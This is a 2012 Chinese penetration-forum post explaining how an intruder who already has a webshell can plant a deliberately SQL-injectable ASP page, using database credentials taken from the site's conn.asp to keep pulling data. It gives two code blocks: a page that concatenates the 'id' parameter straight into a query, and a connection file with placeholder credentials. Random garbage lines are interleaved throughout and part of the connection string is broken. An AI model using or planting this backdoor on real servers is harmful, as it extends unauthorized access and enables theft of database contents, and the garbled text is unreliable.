中国网络渗透测试联盟
标题:
自己构造注入点方便入侵
[打印本页]
作者:
admin
时间:
2012-9-13 17:27
标题:
自己构造注入点方便入侵
自己构造注入点方便入侵
8 Q* Q) _2 W0 V% D
4 j/ M% V/ ~. Z9 }, L
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
) p# j) _. k5 y1 V3 O3 e9 f
- i) l: I9 P* q" U
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
$ e$ M" T* Q5 B' E w+ j( m
# b4 ~# o$ ~0 O4 x6 X# c# ?
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
, y$ V7 p3 o$ v4 Z3 |0 ?, v. b' ~3 e
8 W( W2 V7 r. I! U0 r! x- j
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
/ n! B/ Z _ O* J O J
- {# U5 P) C( j1 y( x3 ^* q% U
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
. l! g+ m5 v5 n7 A9 E
' Z- j' A- x4 `4 ]2 F8 K
程序代码
( v% H( e& l6 \$ o! \
<!--#include file="xx.asp"-->
% x3 h, ?6 F h
<%
$ v, @9 C8 o: e4 i0 W: Z
set rs=server.createobject("ADODB.recordset")
# `, a" s/ ?+ G
id = request("id")
( o: v; Z3 @, s/ z0 A+ I! }8 I) m
strSQL = "select * from admin where id=" & id
8 l. n, B9 D# g1 A6 ^
rs.open strSQL,conn,1,3
3 z0 E( N4 z8 z' s: R
rs.close
% H% O% k9 X, g& z( i1 n
%>
9 @3 C3 x ]8 M) D- {
) {) W9 S. }4 K0 C0 S: A
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
3 }( W$ p6 ~$ k8 b0 Z& J$ S4 U
$ h4 _, I( L0 \
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
@4 x$ M) h+ }. \% R# c. r
% _6 _" v9 h: w
然后就要构造一个连接数据库的文件了,代码如下:
) ]6 C- c$ a/ L! [; ^! p
程序代码
+ u% A5 w$ n+ F- e
<%
& R- v) U+ ?# ?, R; x
strSQLServerName = "000.000.000.000" '服务器名称或地址
( Q. e/ h# b$ j& c/ o- q* o/ y0 `
strSQLDBUserName = "sqlname" '数据库帐号
* t. [7 f* f" v% f( ^ D
strSQLDBPassword = "sqlpass" '数据库密码
. c: }' c q5 |; s* d& l
strSQLDBName = "sqldataname" '数据库名称
# Q4 b) f6 q3 R( k# ~. l" O2 d3 B; o
Set conn = Server.CreateObject("ADODB.Connection")
6 ?& W+ ]" h3 }4 D5 D2 {6 t' k
strCon = "
rovider=SQLOLEDB.1
ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "
assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
4 [9 j1 ?) }; f( e/ r+ l
conn.open strCon
. M2 S6 [* S1 F0 h9 U: k4 j
%>
7 l" c2 w5 }0 A, p9 O% Y
+ Z8 [. O a+ {+ _
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
6 v5 o# {& c1 b" @ B/ u$ O- J
* d$ d" f2 z p; S+ J. r5 `/ \) E
就这样,正常情况下,就OK了,伪造成功……
7 K" E, f- l. M2 [" R3 D3 F
/ X; T2 f" ^0 F9 G" X' M6 ~
如果有什么问题可以提出来大家一起探讨解决。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2